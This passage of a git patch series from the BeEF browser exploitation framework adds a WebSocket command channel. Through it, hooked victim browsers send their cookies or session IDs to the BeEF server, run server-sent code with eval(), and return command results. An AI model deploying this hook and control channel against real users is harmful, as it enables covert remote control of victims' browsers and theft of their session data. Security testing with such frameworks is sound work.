Base64.decode64(data) begin - res = JSON.parse(b64).first - res['beefhook'] = packet[:beefhook] - res['request'] = request - res['beefsession'] = request[BeEF::Core::Configuration.instance.get('beef.http.hook_session_name')] - execute(res) + res = JSON.parse(b64).first + res['beefhook'] = packet[:beefhook] + res['request'] = request + res['beefsession'] = request[BeEF::Core::Configuration.instance.get('beef.http.hook_session_name')] + execute(res) rescue JSON::ParserError => e - print_debug 'Network stack could not decode packet stream.' - print_debug 'Dumping Stream Data [base64]: '+data - print_debug 'Dumping Stream Data: '+b64 + print_debug 'Network stack could not decode packet stream.' + print_debug 'Dumping Stream Data [base64]: '+data + print_debug 'Dumping Stream Data: '+b64 end + end end - end - end + end - # Delete packets that have been reconstructed, return deleted packets - # @param [String] beefhook Beefhook of hooked browser - # @param [Integer] stream_id The stream ID - def expunge(beefhook, stream_id) - packets = PQ.select{ |p| p[:beefhook] == beefhook and p[:stream_id] == stream_id } - PQ.delete_if { |p| p[:beefhook] == beefhook and p[:stream_id] == stream_id } - packets.sort_by { |p| p[:packet_id] } - end + # Delete packets that have been reconstructed, return deleted packets + # @param [String] beefhook Beefhook of hooked browser + # @param [Integer] stream_id The stream ID + def expunge(beefhook, stream_id) + packets = PQ.select { |p| p[:beefhook] == beefhook and p[:stream_id] == stream_id } + PQ.delete_if { |p| p[:beefhook] == beefhook and p[:stream_id] == stream_id } + packets.sort_by { |p| p[:packet_id] } + end - # Execute is called once a stream has been rebuilt. it searches the mounts and passes the data to the correct handler - # @param [Hash] data Hash of data that has been rebuilt by the dynamic reconstruction - def execute(data) - handler = get_param(data, 'handler') - if (MOUNTS.has_key?(handler)) - if (MOUNTS[handler].class == Array and MOUNTS[handler].length == 2) + # Execute is called once a stream has been rebuilt. it searches the mounts and passes the data to the correct handler + # @param [Hash] data Hash of data that has been rebuilt by the dynamic reconstruction + def execute(data) + handler = get_param(data, 'handler') + if (MOUNTS.has_key?(handler)) + if (MOUNTS[handler].class == Array and MOUNTS[handler].length == 2) MOUNTS[handler][0].new(data, MOUNTS[handler][1]) - else + else MOUNTS[handler].new(data) + end end + end + + BeEF::Core::Handlers::Commands + # Assist function for getting parameter from hash + # @param [Hash] query Hash to pull key from + # @param [String] key The key association to return from `query` + # @return Value associated with `key` + def get_param(query, key) + return nil if query[key].nil? + query[key] + end end - end - - # Assist function for getting parameter from hash - # @param [Hash] query Hash to pull key from - # @param [String] key The key association to return from `query` - # @return Value associated with `key` - def get_param(query, key) - return nil if query[key].nil? - query[key] + end end end end -end -end -end diff --git a/core/main/network_stack/websocket/websocket.rb b/core/main/network_stack/websocket/websocket.rb index 60eeb67f8..d8f018ec1 100644 --- a/core/main/network_stack/websocket/websocket.rb +++ b/core/main/network_stack/websocket/websocket.rb @@ -13,17 +13,19 @@ # See the License for the specific language governing permissions and # limitations under the License. # +#@todo STOP POLLING module BeEF module Core module Websocket require 'singleton' - + require 'json' + require 'base64' class Websocket - # require 'singleton' - #include Singleton - #all hooked browser include Singleton - @@activeSocket= Hash.new #empty at begin + + # @note obtain dynamic mount points from HttpHookServer + MOUNTS = BeEF::Core::Server.instance.mounts + @@activeSocket= Hash.new #empty at begin def initialize config = BeEF::Core::Configuration.instance @@ -43,31 +45,68 @@ module BeEF while true #command interpretation message=ws.receive() - - if(/BEEFHOOK=/.match(message)) + messageHash= JSON.parse("#{message}") + #@note messageHash[result] is Base64 encoded + if (messageHash["cookie"]!= nil) print_info("Browser #{ws.origin} says helo! ws is running") #insert new connection in activesocket - @@activeSocket["#{message.split(/BEEFHOOK=/)[1]}"] = ws + @@activeSocket["#{messageHash["cookie"]}"] = ws print_debug("In activesocket we have #{@@activeSocket}") + else + #json recv is a cmd response decode and send all to + #we have to call dynamicreconstructor handler camp must be websocket + print_info("We recived that #{messageHash}") + execute(messageHash) end end end end } + ##Alive check + # Thread.new{ + # + # @@activeSocket.each_key{|key , value| + # ping send token and update beefdb whit new timestamp insert a timer + # + # } + # + # + # } end + #@note used in command.rd return nill if browser is not in list else giveback websocket + #@param [String] browser_id the cookie value def getsocket (browser_id) - if ( @@activeSocket[browser_id] != nil) - true + if (@@activeSocket[browser_id] != nil) + true else - false + false end end + #@note send a function to hooked and ws browser - def sent (fn ,browser_id ) - @@activeSocket[browser_id].send(fn) + #@param [String] fn the module to execute + #@param [String] browser_id the cookie value + def sent (fn, browser_id) + @@activeSocket[browser_id].send(fn) end + BeEF::Core::Handlers::Commands + #call the handler for websocket cmd response + #@param [Hash] data contains the answer of a command + #@todo ve this stuff in an Handler and resolve the Module friendly name + def execute (data) + command_results=Hash.new + command_results["data"]=Base64.decode64(data["result"]) + (print_error "BeEFhook is invalid"; return) if not BeEF::Filters.is_valid_hook_session_id?(data["bh"]) + (print_error "command_id is invalid"; return) if not BeEF::Filters.is_valid_command_id?(data["cid"]) + (print_error "command name is empty"; return) if data["handler"].empty? + (print_error "command results are empty"; return) if command_results.empty? + BeEF::Core::Models::Command.save_result(data["bh"], data["cid"], data["handler"], command_results) + + end + + end end end From 43f82b0c7279d21f70a46d4cea126b17a0b35a65 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Wed, 18 Apr 2012 14:41:49 +0100 Subject: [PATCH 22/33] Removed not needed line --- core/main/network_stack/handlers/dynamicreconstruction.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/core/main/network_stack/handlers/dynamicreconstruction.rb b/core/main/network_stack/handlers/dynamicreconstruction.rb index bcb25270c..f2a32fb5e 100644 --- a/core/main/network_stack/handlers/dynamicreconstruction.rb +++ b/core/main/network_stack/handlers/dynamicreconstruction.rb @@ -116,7 +116,6 @@ module BeEF end end - BeEF::Core::Handlers::Commands # Assist function for getting parameter from hash # @param [Hash] query Hash to pull key from # @param [String] key The key association to return from `query` From cecd6cb14a305d570056962cb8a1cce709df7ae8 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Wed, 18 Apr 2012 15:19:34 +0100 Subject: [PATCH 23/33] Slightly changed comments on websocket.rb --- core/main/network_stack/websocket/websocket.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/core/main/network_stack/websocket/websocket.rb b/core/main/network_stack/websocket/websocket.rb index d8f018ec1..a9a625d8c 100644 --- a/core/main/network_stack/websocket/websocket.rb +++ b/core/main/network_stack/websocket/websocket.rb @@ -48,14 +48,14 @@ module BeEF messageHash= JSON.parse("#{message}") #@note messageHash[result] is Base64 encoded if (messageHash["cookie"]!= nil) - print_info("Browser #{ws.origin} says helo! ws is running") + print_info("Browser #{ws.origin} says helo! WebSocket is running") #insert new connection in activesocket @@activeSocket["#{messageHash["cookie"]}"] = ws print_debug("In activesocket we have #{@@activeSocket}") else #json recv is a cmd response decode and send all to #we have to call dynamicreconstructor handler camp must be websocket - print_info("We recived that #{messageHash}") + print_debug("Received from WebSocket #{messageHash}") execute(messageHash) end end From b41c6e855976ac9bf460b23e2e01256595a406e5 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Wed, 18 Apr 2012 16:56:43 +0100 Subject: [PATCH 24/33] Catched JSON::ParserError exception when a client abruptly disconnects (i.e.: closing the browser manually, or the hooked tab) --- .../main/network_stack/websocket/websocket.rb | 43 ++++++++++--------- 1 file changed, 23 insertions(+), 20 deletions(-) diff --git a/core/main/network_stack/websocket/websocket.rb b/core/main/network_stack/websocket/websocket.rb index a9a625d8c..4716d75ba 100644 --- a/core/main/network_stack/websocket/websocket.rb +++ b/core/main/network_stack/websocket/websocket.rb @@ -38,27 +38,30 @@ module BeEF Thread.new { server.run() do |ws| - print_debug("Path requested #{ws.path} Origins #{ws.origin}") - if ws.path == "/" - ws.handshake() #accept and connect - - while true - #command interpretation - message=ws.receive() - messageHash= JSON.parse("#{message}") - #@note messageHash[result] is Base64 encoded - if (messageHash["cookie"]!= nil) - print_info("Browser #{ws.origin} says helo! WebSocket is running") - #insert new connection in activesocket - @@activeSocket["#{messageHash["cookie"]}"] = ws - print_debug("In activesocket we have #{@@activeSocket}") - else - #json recv is a cmd response decode and send all to - #we have to call dynamicreconstructor handler camp must be websocket - print_debug("Received from WebSocket #{messageHash}") - execute(messageHash) + begin + print_debug("Path requested #{ws.path} Origins #{ws.origin}") + if ws.path == "/" + ws.handshake() #accept and connect + while true + #command interpretation + message=ws.receive() + messageHash= JSON.parse("#{message}") + #@note messageHash[result] is Base64 encoded + if (messageHash["cookie"]!= nil) + print_info("Browser #{ws.origin} says helo! WebSocket is running") + #insert new connection in activesocket + @@activeSocket["#{messageHash["cookie"]}"] = ws + print_debug("In activesocket we have #{@@activeSocket}") + else + #json recv is a cmd response decode and send all to + #we have to call dynamicreconstructor handler camp must be websocket + print_debug("Received from WebSocket #{messageHash}") + execute(messageHash) + end + end end - end + rescue Exception => e + print_error "Hooked browser from origin #{ws.origin} abruptly disconnected." end end } From c83e7d584ed4e693137d9e14dae658ae366fd0f7 Mon Sep 17 00:00:00 2001 From: Graziano Felline Date: Thu, 19 Apr 2012 19:30:19 +0200 Subject: [PATCH 25/33] Now the Alive check is by ws Timer 5 second Tested And work --- core/main/client/init.js | 92 ++++++++++--------- core/main/client/updater.js | 2 +- core/main/client/websocket.js | 13 ++- .../main/network_stack/websocket/websocket.rb | 29 +++--- 4 files changed, 74 insertions(+), 62 deletions(-) diff --git a/core/main/client/init.js b/core/main/client/init.js index 978cea92a..eac1ab771 100644 --- a/core/main/client/init.js +++ b/core/main/client/init.js @@ -13,63 +13,69 @@ // See the License for the specific language governing permissions and // limitations under the License. // - + // if beef.pageIsLoaded is true, then this JS has been loaded >1 times // and will have a new session id. The new session id will need to know // the brwoser details. So sendback the browser details again. -BEEFHOOK=beef.session.get_hook_session_id() +BEEFHOOK = beef.session.get_hook_session_id() -if( beef.pageIsLoaded ) { - beef.net.browser_details(); +if (beef.pageIsLoaded) { + beef.net.browser_details(); } -window.onload = function() { - beef_init(); +window.onload = function () { + beef_init(); } -window.onpopstate = function(event) { - if(beef.onpopstate.length > 0) { - event.preventDefault; - for(var i=0;i 0) { + event.preventDefault; + for (var i = 0; i < beef.onpopstate.length; i++) { + var callback = beef.onpopstate[i]; + try { + callback(event); + } catch (e) { + console.log("window.onpopstate - couldn't execute callback: " + e.message); + } + return false; + } + } } -window.onclose = function(event) { - if(beef.onclose.length > 0) { - event.preventDefault; - for(var i=0;i 0) { + event.preventDefault; + for (var i = 0; i < beef.onclose.length; i++) { + var callback = beef.onclose[i]; + try { + callback(event); + } catch (e) { + console.log("window.onclose - couldn't execute callback: " + e.message); + } + return false; + } + } } function beef_init() { - if (!beef.pageIsLoaded) { - beef.pageIsLoaded = true; - /*@note we have to load websocket only if browser has websocket and beef server has websocketserver up - * the second check is require for this */ - if(beef.browser.hasWebSocket() && typeof beef.websocket != 'undefined') - beef.websocket.start(); - } - beef.net.browser_details(); - beef.updater.execute_commands(); - beef.updater.check(); - beef.logger.start(); + if (!beef.pageIsLoaded) { + beef.pageIsLoaded = true; + if (beef.browser.hasWebSocket() && typeof beef.websocket != 'undefined') { + beef.websocket.start(); + beef.net.browser_details(); + beef.updater.execute_commands(); + beef.logger.start(); + + } + else { + beef.net.browser_details(); + beef.updater.execute_commands(); + beef.updater.check(); + beef.logger.start(); + } + + } } diff --git a/core/main/client/updater.js b/core/main/client/updater.js index 3aedee96b..3c8ce0071 100644 --- a/core/main/client/updater.js +++ b/core/main/client/updater.js @@ -58,7 +58,7 @@ beef.updater = { } } - //if ( typeof beef.websocket === "undefined") + // ( typeof beef.websocket === "undefined") setTimeout("beef.updater.check();", beef.updater.timeout); }, diff --git a/core/main/client/websocket.js b/core/main/client/websocket.js index 66f26ab7b..95af7bfbe 100644 --- a/core/main/client/websocket.js +++ b/core/main/client/websocket.js @@ -44,11 +44,11 @@ beef.websocket = { /*send browser id*/ beef.websocket.send('{"cookie":"' + document.cookie + '"}'); console.log("Connected and Helo"); + beef.websocket.alive(); } this.socket.onmessage = function (message) { - console.log("Received message via WS."); - //todo check message and send pong if ping req - eval(message.data); + console.log("Received message via WS."+ message.data); + eval(message.data); } }, @@ -56,6 +56,13 @@ beef.websocket = { send:function (data) { this.socket.send(data); console.log("Sent [" + data + "]"); + }, + + alive: function (){ + beef.websocket.send('{"alive":"'+document.cookie+'"}'); + console.log("sent alive"); + setTimeout("beef.websocket.alive()", 5000); + } }; diff --git a/core/main/network_stack/websocket/websocket.rb b/core/main/network_stack/websocket/websocket.rb index 4716d75ba..b66aff540 100644 --- a/core/main/network_stack/websocket/websocket.rb +++ b/core/main/network_stack/websocket/websocket.rb @@ -22,11 +22,11 @@ module BeEF require 'base64' class Websocket include Singleton - + include BeEF::Core::Handlers::Modules::Command # @note obtain dynamic mount points from HttpHookServer MOUNTS = BeEF::Core::Server.instance.mounts @@activeSocket= Hash.new #empty at begin - + @@lastalive= Hash.new def initialize config = BeEF::Core::Configuration.instance port = config.get("beef.http.websocket.port") @@ -52,6 +52,13 @@ module BeEF #insert new connection in activesocket @@activeSocket["#{messageHash["cookie"]}"] = ws print_debug("In activesocket we have #{@@activeSocket}") + elsif messageHash["alive"] != nil + hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => messageHash["alive"].gsub("BEEFHOOK=","")) + hooked_browser.lastseen = Time.new.to_i + hooked_browser.count! + hooked_browser.save + zombie_commands = BeEF::Core::Models::Command.all(:hooked_browser_id => hooked_browser.id, :instructions_sent => false) + zombie_commands.each{|command| add_command_instructions(command, hooked_browser)} else #json recv is a cmd response decode and send all to #we have to call dynamicreconstructor handler camp must be websocket @@ -61,26 +68,17 @@ module BeEF end end rescue Exception => e - print_error "Hooked browser from origin #{ws.origin} abruptly disconnected." + print_error "Hooked browser from origin #{ws.origin} abruptly disconnected. #{e}" end end } - ##Alive check - # Thread.new{ - # - # @@activeSocket.each_key{|key , value| - # ping send token and update beefdb whit new timestamp insert a timer - # - # } - # - # - # } + end #@note used in command.rd return nill if browser is not in list else giveback websocket #@param [String] browser_id the cookie value def getsocket (browser_id) - if (@@activeSocket[browser_id] != nil) + if (@@activeSocket["BEEFHOOK=#{browser_id}"] != nil) true else false @@ -91,7 +89,7 @@ module BeEF #@param [String] fn the module to execute #@param [String] browser_id the cookie value def sent (fn, browser_id) - @@activeSocket[browser_id].send(fn) + @@activeSocket["BEEFHOOK=#{browser_id}"].send(fn) end BeEF::Core::Handlers::Commands @@ -99,6 +97,7 @@ module BeEF #@param [Hash] data contains the answer of a command #@todo ve this stuff in an Handler and resolve the Module friendly name def execute (data) + command_results=Hash.new command_results["data"]=Base64.decode64(data["result"]) (print_error "BeEFhook is invalid"; return) if not BeEF::Filters.is_valid_hook_session_id?(data["bh"]) From 97c2649e3633aa1952bc0048dcb87957350da19b Mon Sep 17 00:00:00 2001 From: Graziano Felline Date: Fri, 20 Apr 2012 19:17:34 +0200 Subject: [PATCH 26/33] Corrected issues on IE browser (IE8 IE9) to check IE6 -IE7 Corrected Issues whit character encoding --- core/main/client/net.js | 3 +-- core/main/client/websocket.js | 4 +++- core/main/network_stack/websocket/websocket.rb | 6 ++++-- 3 files changed, 8 insertions(+), 5 deletions(-) diff --git a/core/main/client/net.js b/core/main/client/net.js index 40490c50f..c5ea60c2e 100644 --- a/core/main/client/net.js +++ b/core/main/client/net.js @@ -98,8 +98,7 @@ beef.net = { //todo this is necessary because at start could happened that ws in not still up and the browser try to send back browser info via websocket and failed this.queue(handler, cid, results, callback); this.flush(); - console.log("error in send " + e); - } + } } }, diff --git a/core/main/client/websocket.js b/core/main/client/websocket.js index 95af7bfbe..ffce2b03c 100644 --- a/core/main/client/websocket.js +++ b/core/main/client/websocket.js @@ -21,6 +21,8 @@ beef.websocket = { socket:null, + alive_timer:5000, + init:function () { var webSocketServer = beef.net.host; var webSocketPort = 11989; @@ -61,7 +63,7 @@ beef.websocket = { alive: function (){ beef.websocket.send('{"alive":"'+document.cookie+'"}'); console.log("sent alive"); - setTimeout("beef.websocket.alive()", 5000); + setTimeout("beef.websocket.alive()", beef.websocket.alive_timer); } diff --git a/core/main/network_stack/websocket/websocket.rb b/core/main/network_stack/websocket/websocket.rb index b66aff540..12459c5a2 100644 --- a/core/main/network_stack/websocket/websocket.rb +++ b/core/main/network_stack/websocket/websocket.rb @@ -53,6 +53,7 @@ module BeEF @@activeSocket["#{messageHash["cookie"]}"] = ws print_debug("In activesocket we have #{@@activeSocket}") elsif messageHash["alive"] != nil + #@todo browser could be not in bd so we have to add it hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => messageHash["alive"].gsub("BEEFHOOK=","")) hooked_browser.lastseen = Time.new.to_i hooked_browser.count! @@ -62,14 +63,14 @@ module BeEF else #json recv is a cmd response decode and send all to #we have to call dynamicreconstructor handler camp must be websocket - print_debug("Received from WebSocket #{messageHash}") + #print_debug("Received from WebSocket #{messageHash}") execute(messageHash) end end end rescue Exception => e print_error "Hooked browser from origin #{ws.origin} abruptly disconnected. #{e}" - end + end end } @@ -100,6 +101,7 @@ module BeEF command_results=Hash.new command_results["data"]=Base64.decode64(data["result"]) + command_results["data"].force_encoding('UTF-8') (print_error "BeEFhook is invalid"; return) if not BeEF::Filters.is_valid_hook_session_id?(data["bh"]) (print_error "command_id is invalid"; return) if not BeEF::Filters.is_valid_command_id?(data["cid"]) (print_error "command name is empty"; return) if data["handler"].empty? From 2c19a3a8d8dde58fe14ca2406bbaba3d5b0beb9d Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Wed, 2 May 2012 14:01:04 +0300 Subject: [PATCH 27/33] Fixed issue when hooking a browser that contains other cookies than BEEFHOOK. now "alive" send back only the BeEF session value --- core/main/client/websocket.js | 5 +++-- core/main/network_stack/websocket/websocket.rb | 8 ++++---- 2 files changed, 7 insertions(+), 6 deletions(-) diff --git a/core/main/client/websocket.js b/core/main/client/websocket.js index ffce2b03c..e91b3fe18 100644 --- a/core/main/client/websocket.js +++ b/core/main/client/websocket.js @@ -60,13 +60,14 @@ beef.websocket = { console.log("Sent [" + data + "]"); }, + //todo antisnatchor: we need to get only the BEEFHOOK cookie value, not every cookie. + //todo in this way it will be easier to parse it server side. alive: function (){ - beef.websocket.send('{"alive":"'+document.cookie+'"}'); + beef.websocket.send('{"alive":"'+beef.session.get_hook_session_id()+'"}'); console.log("sent alive"); setTimeout("beef.websocket.alive()", beef.websocket.alive_timer); } - }; beef.regCmp('beef.websocket'); \ No newline at end of file diff --git a/core/main/network_stack/websocket/websocket.rb b/core/main/network_stack/websocket/websocket.rb index 12459c5a2..73652303d 100644 --- a/core/main/network_stack/websocket/websocket.rb +++ b/core/main/network_stack/websocket/websocket.rb @@ -27,10 +27,10 @@ module BeEF MOUNTS = BeEF::Core::Server.instance.mounts @@activeSocket= Hash.new #empty at begin @@lastalive= Hash.new + @@config = BeEF::Core::Configuration.instance def initialize - config = BeEF::Core::Configuration.instance - port = config.get("beef.http.websocket.port") - secure = config.get("beef.http.websocket.secure") + port = @@config.get("beef.http.websocket.port") + secure = @@config.get("beef.http.websocket.secure") #todo antisnatchor: start websocket secure if beef.http.websocket.secure == true server = WebSocketServer.new :accepted_domains => "127.0.0.1", :port => port @@ -54,7 +54,7 @@ module BeEF print_debug("In activesocket we have #{@@activeSocket}") elsif messageHash["alive"] != nil #@todo browser could be not in bd so we have to add it - hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => messageHash["alive"].gsub("BEEFHOOK=","")) + hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => messageHash["alive"]) hooked_browser.lastseen = Time.new.to_i hooked_browser.count! hooked_browser.save From fdad068ee5763691f30170f5d7ac4ec79f0ce103 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Thu, 10 May 2012 13:54:40 +0100 Subject: [PATCH 28/33] Fix issue 674 (NilClass issue) --- core/main/client/websocket.js | 19 ++++++++----------- .../main/network_stack/websocket/websocket.rb | 19 +++++++++---------- 2 files changed, 17 insertions(+), 21 deletions(-) diff --git a/core/main/client/websocket.js b/core/main/client/websocket.js index e91b3fe18..994fe5958 100644 --- a/core/main/client/websocket.js +++ b/core/main/client/websocket.js @@ -36,35 +36,32 @@ beef.websocket = { } }, - /*websocket send Helo to beef server and start async communication*/ + /* send Helo message to the BeEF server and start async communication*/ start:function () { new beef.websocket.init(); - /*so the server is just up we need send helo id @todo insert browser ID where can i get them?*/ this.socket.onopen = function () { - console.log("Socket has been opened!"); + //console.log("Socket has been opened!"); /*send browser id*/ - beef.websocket.send('{"cookie":"' + document.cookie + '"}'); - console.log("Connected and Helo"); + beef.websocket.send('{"cookie":"' + beef.session.get_hook_session_id() + '"}'); + //console.log("Connected and Helo"); beef.websocket.alive(); } this.socket.onmessage = function (message) { - console.log("Received message via WS."+ message.data); - eval(message.data); + //console.log("Received message via WS."+ message.data); + eval(message.data); } }, send:function (data) { this.socket.send(data); - console.log("Sent [" + data + "]"); +// console.log("Sent [" + data + "]"); }, - //todo antisnatchor: we need to get only the BEEFHOOK cookie value, not every cookie. - //todo in this way it will be easier to parse it server side. alive: function (){ beef.websocket.send('{"alive":"'+beef.session.get_hook_session_id()+'"}'); - console.log("sent alive"); +// console.log("sent alive"); setTimeout("beef.websocket.alive()", beef.websocket.alive_timer); } diff --git a/core/main/network_stack/websocket/websocket.rb b/core/main/network_stack/websocket/websocket.rb index 73652303d..a446129ce 100644 --- a/core/main/network_stack/websocket/websocket.rb +++ b/core/main/network_stack/websocket/websocket.rb @@ -44,8 +44,8 @@ module BeEF ws.handshake() #accept and connect while true #command interpretation - message=ws.receive() - messageHash= JSON.parse("#{message}") + message = ws.receive() + messageHash = JSON.parse("#{message}") #@note messageHash[result] is Base64 encoded if (messageHash["cookie"]!= nil) print_info("Browser #{ws.origin} says helo! WebSocket is running") @@ -53,7 +53,6 @@ module BeEF @@activeSocket["#{messageHash["cookie"]}"] = ws print_debug("In activesocket we have #{@@activeSocket}") elsif messageHash["alive"] != nil - #@todo browser could be not in bd so we have to add it hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => messageHash["alive"]) hooked_browser.lastseen = Time.new.to_i hooked_browser.count! @@ -76,10 +75,10 @@ module BeEF end - #@note used in command.rd return nill if browser is not in list else giveback websocket - #@param [String] browser_id the cookie value - def getsocket (browser_id) - if (@@activeSocket["BEEFHOOK=#{browser_id}"] != nil) + #@note retrieve the right websocket channel given an hooked browser session + #@param [String] session the hooked browser session + def getsocket (session) + if (@@activeSocket[session] != nil) true else false @@ -88,9 +87,9 @@ module BeEF #@note send a function to hooked and ws browser #@param [String] fn the module to execute - #@param [String] browser_id the cookie value - def sent (fn, browser_id) - @@activeSocket["BEEFHOOK=#{browser_id}"].send(fn) + #@param [String] session the hooked browser session + def sent (fn, session) + @@activeSocket[session].send(fn) end BeEF::Core::Handlers::Commands From 256ef0f2e8ed0d292e2ab9c87966bc382c45e899 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Fri, 11 May 2012 11:12:12 +0100 Subject: [PATCH 29/33] Fix issue 673 (command module friendly name in WebSocket fork) --- core/main/network_stack/websocket/websocket.rb | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/core/main/network_stack/websocket/websocket.rb b/core/main/network_stack/websocket/websocket.rb index a446129ce..e66487426 100644 --- a/core/main/network_stack/websocket/websocket.rb +++ b/core/main/network_stack/websocket/websocket.rb @@ -95,9 +95,7 @@ module BeEF BeEF::Core::Handlers::Commands #call the handler for websocket cmd response #@param [Hash] data contains the answer of a command - #@todo ve this stuff in an Handler and resolve the Module friendly name def execute (data) - command_results=Hash.new command_results["data"]=Base64.decode64(data["result"]) command_results["data"].force_encoding('UTF-8') @@ -105,8 +103,8 @@ module BeEF (print_error "command_id is invalid"; return) if not BeEF::Filters.is_valid_command_id?(data["cid"]) (print_error "command name is empty"; return) if data["handler"].empty? (print_error "command results are empty"; return) if command_results.empty? - BeEF::Core::Models::Command.save_result(data["bh"], data["cid"], data["handler"], command_results) - + BeEF::Core::Models::Command.save_result(data["bh"], data["cid"], + @@config.get("beef.module.#{data["handler"].gsub("/command/","").gsub(".js","")}.name"), command_results) end From 96a16fa68331ce66e089c36a09e57901dd1823e7 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Fri, 11 May 2012 11:45:13 +0100 Subject: [PATCH 30/33] Fix issue 675 (added erubis parsing for Websocket config options) --- config.yaml | 1 + core/main/client/websocket.js | 15 +++++++++------ core/main/handlers/modules/beefjs.rb | 6 ++++++ 3 files changed, 16 insertions(+), 6 deletions(-) diff --git a/config.yaml b/config.yaml index 440ed3479..dbe51649d 100644 --- a/config.yaml +++ b/config.yaml @@ -44,6 +44,7 @@ beef: enable: true secure: false # use WebSocketSecure port: 11989 + alive_timer: 5000 # poll BeEF every 5 seconds # Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header) web_server_imitation: diff --git a/core/main/client/websocket.js b/core/main/client/websocket.js index 994fe5958..25ccdeeba 100644 --- a/core/main/client/websocket.js +++ b/core/main/client/websocket.js @@ -20,19 +20,22 @@ beef.websocket = { socket:null, - - alive_timer:5000, + alive_timer:<%= @websocket_timer %>, init:function () { var webSocketServer = beef.net.host; - var webSocketPort = 11989; + var webSocketPort = <%= @websocket_port %>; + var webSocketSecure = <%= @websocket_secure %>; + var protocol = "ws://"; + + if(webSocketSecure) + protocol = "wss://"; if (beef.browser.isFF() && !!window.MozWebSocket) { - beef.websocket.socket = new MozWebSocket("ws://" + webSocketServer + ":" + webSocketPort + "/"); + beef.websocket.socket = new MozWebSocket(protocol + webSocketServer + ":" + webSocketPort + "/"); } else { - beef.websocket.socket = new WebSocket("ws://" + webSocketServer + ":" + webSocketPort + "/"); - + beef.websocket.socket = new WebSocket(protocol + webSocketServer + ":" + webSocketPort + "/"); } }, diff --git a/core/main/handlers/modules/beefjs.rb b/core/main/handlers/modules/beefjs.rb index d43964ff2..7b1c9bc44 100644 --- a/core/main/handlers/modules/beefjs.rb +++ b/core/main/handlers/modules/beefjs.rb @@ -64,6 +64,12 @@ module Modules end end end + + if config.get("beef.http.websocket.enable") + hook_session_config['websocket_secure'] = config.get("beef.http.websocket.secure") + hook_session_config['websocket_port'] = config.get("beef.http.websocket.port") + hook_session_config['websocket_timer'] = config.get("beef.http.websocket.alive_timer") + end # @note populate place holders in the beefjs string and set the response body eruby = Erubis::FastEruby.new(beefjs) From 052d25a36bfabde2d8d22e53477e7a1d6262a4ba Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Fri, 11 May 2012 14:22:13 +0100 Subject: [PATCH 31/33] Fixed another bug when parsing the BeEF hook cookie in Js. now using beef.session.get_hook_session_id(). Should be the last fix. --- core/main/client/net.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/main/client/net.js b/core/main/client/net.js index e0700dcdc..fff74af63 100644 --- a/core/main/client/net.js +++ b/core/main/client/net.js @@ -92,7 +92,7 @@ beef.net = { } else { try { - beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid + '", "result":"' + beef.encode.base64.encode(results) + '","callback": "' + callback + '","bh":"' + document.cookie.split("BEEFHOOK=")[1] + '" }'); + beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid + '", "result":"' + beef.encode.base64.encode(results) + '","callback": "' + callback + '","bh":"' + beef.session.get_hook_session_id() + '" }'); } catch (e) { //todo this is necessary because at start could happened that ws in not still up and the browser try to send back browser info via websocket and failed From 247e0e9a622ab8930342c5f57b4ee21facd323c6 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Fri, 11 May 2012 15:58:59 +0100 Subject: [PATCH 32/33] Issue 676. Now we use em-websocket for WebSocket server side. Instead of threads we use events with EventMachine. Faster and consumes less memory. --- Gemfile | 1 + beef | 1 + core/bootstrap.rb | 1 - core/main/handlers/modules/command.rb | 4 +- .../network_stack/websocket/lib/web_socket.rb | 592 ------------------ .../main/network_stack/websocket/websocket.rb | 78 ++- 6 files changed, 39 insertions(+), 638 deletions(-) delete mode 100644 core/main/network_stack/websocket/lib/web_socket.rb diff --git a/Gemfile b/Gemfile index 2c7b9651e..a4035422e 100644 --- a/Gemfile +++ b/Gemfile @@ -26,6 +26,7 @@ end gem "thin" gem "sinatra", "1.3.2" +gem "em-websocket", "~> 0.3.6" gem "ansi" gem "term-ansicolor", :require => "term/ansicolor" gem "dm-core" diff --git a/beef b/beef index 0c1cc740f..b99cc5672 100755 --- a/beef +++ b/beef @@ -115,6 +115,7 @@ print_info "RESTful API key: #{BeEF::Core::Crypto::api_token}" #@note Starts the WebSocket server if config.get("beef.http.websocket.enable") BeEF::Core::Websocket::Websocket.instance + print_info "Starting WebSocket server on port [#{config.get("beef.http.websocket.port")}], secure [#{config.get("beef.http.websocket.secure")}], timer [#{config.get("beef.http.websocket.alive_timer")}]" end diff --git a/core/bootstrap.rb b/core/bootstrap.rb index 747720849..0ae748c22 100644 --- a/core/bootstrap.rb +++ b/core/bootstrap.rb @@ -55,5 +55,4 @@ require 'core/main/rest/handlers/admin' require 'core/main/rest/api' ## @note Include Websocket -require 'core/main/network_stack/websocket/lib/web_socket' require 'core/main/network_stack/websocket/websocket' diff --git a/core/main/handlers/modules/command.rb b/core/main/handlers/modules/command.rb index 62d881378..e79516fd5 100644 --- a/core/main/handlers/modules/command.rb +++ b/core/main/handlers/modules/command.rb @@ -49,8 +49,8 @@ module BeEF build_missing_beefjs_components(command_module.beefjs_components) if not command_module.beefjs_components.empty? let= BeEF::Core::Websocket::Websocket.instance - #@todo radoen debug this one + #todo antisnatchor: remove this gsub crap adding some hook packing. if let.getsocket(hooked_browser.session) funtosend=command_module.output.gsub('// // Copyright 2012 Wade Alcorn wade@bindshell.net @@ -68,10 +68,8 @@ module BeEF // limitations under the License. //', "") let.sent(funtosend, hooked_browser.session) - #print_info("We are sending #{funtosend}") else @body << command_module.output + "\n\n" - end # @note prints the event to the 